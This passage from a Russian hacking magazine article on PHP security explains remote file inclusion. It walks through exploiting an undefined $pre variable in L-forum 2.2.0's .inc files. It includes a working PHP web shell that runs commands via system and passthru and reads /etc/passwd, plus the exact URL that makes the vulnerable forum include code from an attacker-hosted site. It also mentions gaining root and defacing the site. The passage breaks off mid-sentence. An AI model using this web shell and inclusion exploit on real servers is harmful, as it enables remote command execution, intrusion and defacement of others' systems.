|
Песнь о багах в PHP или админ в шкуре скрипт-кидди Как обезопасить свой сервер с PHP Loh Matov (blabl@7350.org) Xakep, номер #050, стр. 050-066-2 <? ... include("http://vrag.hosted.here/1.php"); ?> В результате файл 1.php с сервера хаксора будет включен и обработан. Если бы в твоем скрипте перед $file стояла точка и слэш ("./" - признак того, что файл будет искать только в текущей директории) или указан полный путь к файлу относительно сервера, этот трюк не сработал бы. Давай представим себя скрипт-кидди и подумаем, что он будет делать. Ведь, наверняка, ему не нужен файл /etc/passwd. Кроме списка пользователей он ничего из него не вытащит. Разберем живой пример: найдем ошибку в скрипте и заэксплоитируем ее. Возьмем довольно распространенный скрипт L-forum версии 2.2.0. Далее ищем функции include, include_once, require, require_once. Наша задача - найти место в скрипте, где мы можем включить в него удаленный файл с нашим куском кода, чтобы он исполнился. Итак, ищем и находим файлы: inc/list_last.inc inc/list_msgs.inc inc/list_thr.inc Они содержат такой участок кода: include $pre."lib/date_trans.inc";. Причем, переменная $pre не определена заранее, так как это .inc-файлы, которые включаются только по ходу работы скрипта. Баг найден, остается молиться, чтобы на сервере .inc-файлы обрабатывались PHP, что опять же почти всегда и делается, дабы не раскрывать исходный код скриптов. Что бы сделал скрипт-кидди? Конечно, сразу бы сбацал веб-шелл для исполнения команд, создав файлик с таким содержимым: <? //здесь узнаем версию ядра echo(system("uname -a")."<br>"); //узнаем, какой шелл у пользователя echo(system("cat /etc/passwd|grep nobody")."<br>"); ?> <form method=POST action="http://site.s.bugged.scriptom/lforum/inc/list_msgs.inc?pre=http://hax0rz.site/"> <input type="text" name=lox> <input type=submit> </form> <pre> <? $lox=passthru($lox); echo($lox); ?> </pre> Это простенький веб-шелл, в его форме указывается необходимая для исполнения команда. Результат выводится прямо в ту же веб-страницу. Главное, в настройках правильно указать путь в action. http://site.s.bugged.scriptom/lforum/inc/list_msgs.inc - путь к дырявому скрипту на сервере врага ;). http://hax0rz.site/ - сайт, на котором будет лежать файл /lib/date_trans.inc (относительно веб-сервера), так как именно он будет включаться в страницу include http://hax0rz.site/lib/date_trans.inc. Вот, в принципе, и все, остается зайти по урлу http://site.s.bugged.scriptom/lforum/inc/list_msgs.inc?pre=http://hax0rz.site/ и получить веб-шелл. Что будет дальше, зависит только от извращенности скрипт-кидди. Он может применить хитрые локальные эксплоиты и получить рута. А может сделать дефейс, если хватит прав для записи в файл главной страницы. А может и забить на этот дырявый сервер и написать админу об ошибке. Все вышеописанное касается и функций require, require_once, include_once. Конечно, может возникнуть резонный вопрос - как определить, уязвим ли скрипт на удаленном сервере, когда нельзя получить доступ к его исходному коду? Очень просто, забиваем в параметры скрипта какую-нить длинную страшную строку: |